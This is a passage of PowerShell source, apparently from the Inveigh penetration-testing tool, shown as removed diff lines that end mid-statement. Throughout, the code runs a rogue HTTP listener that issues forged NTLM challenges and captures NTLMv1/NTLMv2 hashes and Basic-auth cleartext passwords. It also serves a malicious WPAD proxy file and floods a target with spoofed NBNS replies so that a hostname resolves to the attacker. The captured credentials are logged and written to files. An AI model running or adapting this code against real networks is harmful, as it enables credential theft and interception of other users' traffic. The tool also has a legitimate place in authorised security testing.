$inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null -} - -if($ConsoleOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null - } - -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($RunCount) -{ - $inveigh.status_queue.Add("Run Count = $RunCount") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop running Inveigh functions") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - - switch ($inveigh.status_queue[0]) - { - - "Run Stop-Inveigh to stop running Inveigh functions" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -# Begin ScriptBlocks - -# Shared Basic functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - function DataLength - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - - function HTTPListenerStop - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_client.Close() - start-sleep -s 1 - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - } - -} - -# HTTP Server ScriptBlock - HTTP listener -$HTTP_scriptblock = -{ - param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) - - function NTLMChallengeBase64 - { - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($inveigh.challenge) - { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate - $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count - $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count - $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count - - if($WPADIP -and $WPADPort) - { - - if($WPADDirectHosts) - { - - foreach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - else - { - $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - - } - elseif($WPADResponse) - { - $HTTP_WPAD_response = $WPADResponse - } - - :HTTP_listener_loop while ($inveigh.bruteforce_running) - { - - $TCP_request = $NULL - $TCP_request_bytes = New-Object System.Byte[] 1024 - $suppress_waiting_message = $false - - while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) - { - - if(!$suppress_waiting_message) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") - $suppress_waiting_message = $true - } - - Start-Sleep -s 1 - - if(!$inveigh.bruteforce_running) - { - HTTPListenerStop - } - - } - - if(!$inveigh.HTTP_client.Connected) - { - $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection - $HTTP_stream = $inveigh.HTTP_client.GetStream() - } - - while ($HTTP_stream.DataAvailable) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - - if($NBNSPause) - { - $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $inveigh.hostname_spoof = $true - } - - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) - $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) - } - else - { - $authentication_header = '' - } - - if($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - } - - $HTTP_type = "HTTP" - $NTLM = 'NTLM' - $NTLM_auth = $false - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) - } - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $HTTP_response_status_code = 0x34,0x30,0x31 - - if ($HTTP_request_bytes[8] -eq 1) - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $NTLM = NTLMChallengeBase64 - } - elseif ($HTTP_request_bytes[8] -eq 3) - { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_client_close = $true - $NTLM_challenge = '' - } - else # NTLMv2 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $NTLM_auth = $true - $HTTP_client_close = $true - $NTLM_challenge = '' - } - else - { - $NTLM = 'NTLM' - } - - } - elseif($authentication_header.startswith('Basic ')) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_message = $HTTP_WPAD_response - } - elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') - { - $HTTP_message = $HTTPResponse - } - else - { - $HTTP_message = '' - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) - { - $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $NTLM + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) - { - $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - $HTTP_client_close = $true - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $Basic + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - else - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - $HTTP_client_close = $true - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - } - - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $inveigh.HTTP_client.Client.Handle - - if($HTTP_client_close) - { - $inveigh.HTTP_client.Close() - - if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) - { - HTTPListenerStop - $inveigh.console_queue.Add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) - $inveigh.bruteforce_running = $false - } - - } - - $HTTP_client_close = $false - } - -} - -$spoofer_scriptblock = -{ - param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) - - $Hostname = $Hostname.ToUpper() - - $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) - $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) - $hostname_encoded = $hostname_encoded.Replace("-","") - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - for($i=0; $i -lt $hostname_encoded.Count; $i++) - { - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - - } - - $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) - $NBNS_paused = $false - $send_socket = New-Object System.Net.Sockets.UdpClient(137) - $destination_IP = [System.Net.IPAddress]::Parse($SpooferTarget) - $destination_point = New-Object Net.IPEndpoint($destination_IP,137) - $send_socket.Connect($destination_point) - - while($inveigh.bruteforce_running) - { - - :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) - { - - if($NBNS_paused) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) - $NBNS_paused = $false - } - - for ($i = 0; $i -lt 255; $i++) - { - - for ($j = 0; $j -lt 255; $j++) - { - $NBNS_response_packet[0] = $i - $NBNS_response_packet[1] = $j - $send_socket.send( $NBNS_response_packet,$NBNS_response_packet.Length) - - if($inveigh.hostname_spoof -and $NBNSPause) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) - $NBNS_paused = $true - break NBNS_spoofer_loop - } - - } - - } - - } - - Start-Sleep -m 5 - } - - $send_socket.Close() - } - -$control_bruteforce_scriptblock = -{ - param ($NBNSPause,$RunTime) - - if($RunTime) - { - $control_timeout = new-timespan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - if($NBNSPause) - { - $NBNS_pause = new-timespan -Seconds $NBNSPause - } - - while ($inveigh.bruteforce_running) - { - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.bruteforce_running) - { - HTTPListenerStop - $inveigh.console_queue.Add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) - Start-Sleep -m 5 - $inveigh.bruteforce_running = $false - } - - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - if($inveigh.running) - { - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - } - - } - } - - if($NBNSPause -and $inveigh.hostname_spoof) - { - - if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) - { - $inveigh.hostname_spoof = $false - } - - } - - if($inveigh.file_output -and !$inveigh.running) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - - } - - Start-Sleep -m 5 - } - } - -# End ScriptBlocks -# Begin Startup functions - -# HTTP Listener Startup function -function HTTPListener() -{ - - if($HTTPIP) - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint - $inveigh.HTTP_listener.Start() - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( - 